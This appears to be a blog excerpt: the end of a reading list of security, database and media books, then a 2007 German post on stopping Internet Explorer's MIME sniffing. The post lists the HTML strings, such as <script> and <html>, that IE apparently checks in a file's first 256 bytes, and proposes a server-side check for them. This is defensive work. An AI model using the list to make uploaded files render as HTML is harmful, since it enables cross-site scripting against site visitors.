For your information, Christopher, Peter and furthermore Stefan Esser are currently working on a second edition of this book, which will be an updated rewrite of the first but additionally contain a chapter dealing with Suhosin and neat things like ext/filter. It's meant to be released by the end of march.

7 - High Performance MySQL by Jeremy D. Zawodny & Derek J. Balling
I still haven't finished this one but so far I can tell you that it's adressed to people who already have a clue about databases and are looking for an in-depth reference book.

8 - Web 2.0 by Tom Alby
Like the title states it deals with changes of the web, web 2.0 and what's behind this expression. Interesting reading but - concerning web 2.0 - nothing too exceptional after having read Tim O' Reilly's original statement.

9 - Die heimliche Medienrevolution by Erik Möller
This is in fact very interesting for everyone who is interested in media and how it influences the entire world. Firstly Möller discribes which kinds of media exist and how they developed over the years, then he concentrates on open source software, wikis and weblogs...

You will get a very broad background knowledge about how the world really works, this book is definitely worth reading and as someone on amazon.de states it should become a mandatory reading in schools and basic knowledge of adults.

Maybe I should write a more comprehensive article about this book one day.

10 - The Art Of Deception by Kevin Mitnick
One of my newest books, I've already mentioned it before. Unfortunately I haven't had time to finish it but read until chapter four I think. Well actually I knew what it might deal with by the time I saw that Mitnick wrote a book and so far it matches my expectations. So for those who are interested in manipulating people or gathering confidential information - buy this book.

I'm going to write a full review on this book once I have finshed it.

11 - Weblogs - Eine kommunikationssoziologische Studie by Jan Schmidt
While having read this entry you may have noticed how much I'm interested in everything that deals with media and people and/or their behaviour. In my opinion the simple existence of weblogs is something to keep an eye on. I bought this book because I found the title was interesting but haven't read it yet.

Thats it! Maybe someone wants to leave a comment. You're welcome.

MS MIME Type Detection Prevention

2007-02-23T16:12:00.000+01:00

Im letzten Eintrag blieb die Frage offen, wie man dem Ratespiel des Internet Explorers auf der Server Seite entgegen wirken kann. Ich denke ich habe dafür eine solide Lösung gefunden. Nach einigen Versuchen stellte sich heraus, dass die hard coded - tests von Microsoft bzw. die FindMimeFromData Funktion nichts anderes tun, als die ersten 256 Bytes des jeweiligen Dokumentes nach folgenden Strings zu untersuchen:

<html
<head
<body
<pre
<table
<a href
<img src ('src' situationsbedingt nicht notwendig)
<script>string</script>

Taucht einer dieser Strings auf, ist das für Microsoft ein eindeutiges Indiz dafür, dass es sich um ein valides HTML Dokument handelt und dementsprechend wird es vom Zauberbrowser MSIE ausgegeben.

Von daher ist es kein großer Aufwand mehr, ein entsprechendes Skript zu schreiben das die ersten Bytes daraufhin untersucht. In leicht abgewandelter Form sollte das Skript auch für andere Dateitypen verwendbar sein. - http://php-classes.net/image.rar

Soviel zur MIME Type Detection Prevention.